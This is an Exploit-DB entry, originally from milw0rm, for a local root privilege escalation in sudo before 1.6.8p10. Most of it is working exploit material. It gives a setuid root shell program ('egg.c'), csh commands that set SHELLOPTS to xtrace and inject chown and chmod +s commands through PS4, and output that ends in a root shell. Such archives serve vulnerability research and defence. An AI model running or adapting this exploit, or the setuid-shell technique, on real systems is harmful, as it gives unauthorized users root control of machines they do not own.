Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation

Author: Breno Silva Pinto
type: local
platform: linux
port: 
date_added: 2005-11-08  
date_updated: 2016-06-13  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comsudo-1.6.8p9.tar.gz  

raw file: 1310.txt  
## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## by breno

## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##

ie:
       %cat x.sh
       #!/bin/bash -x

       echo "Getting root!!"
       %
##

##
       # cat /etc/sudoers
       ...
       breno   ALL=(ALL) /home/breno/x.sh
       ..
       #

## Let's use an egg shell :)
       %cat egg.c

#include <stdio.h>

       int main()
       {
       setuid(0);
       system("/bin/sh");
}
%

% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x  1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#

# milw0rm.com [2005-11-09]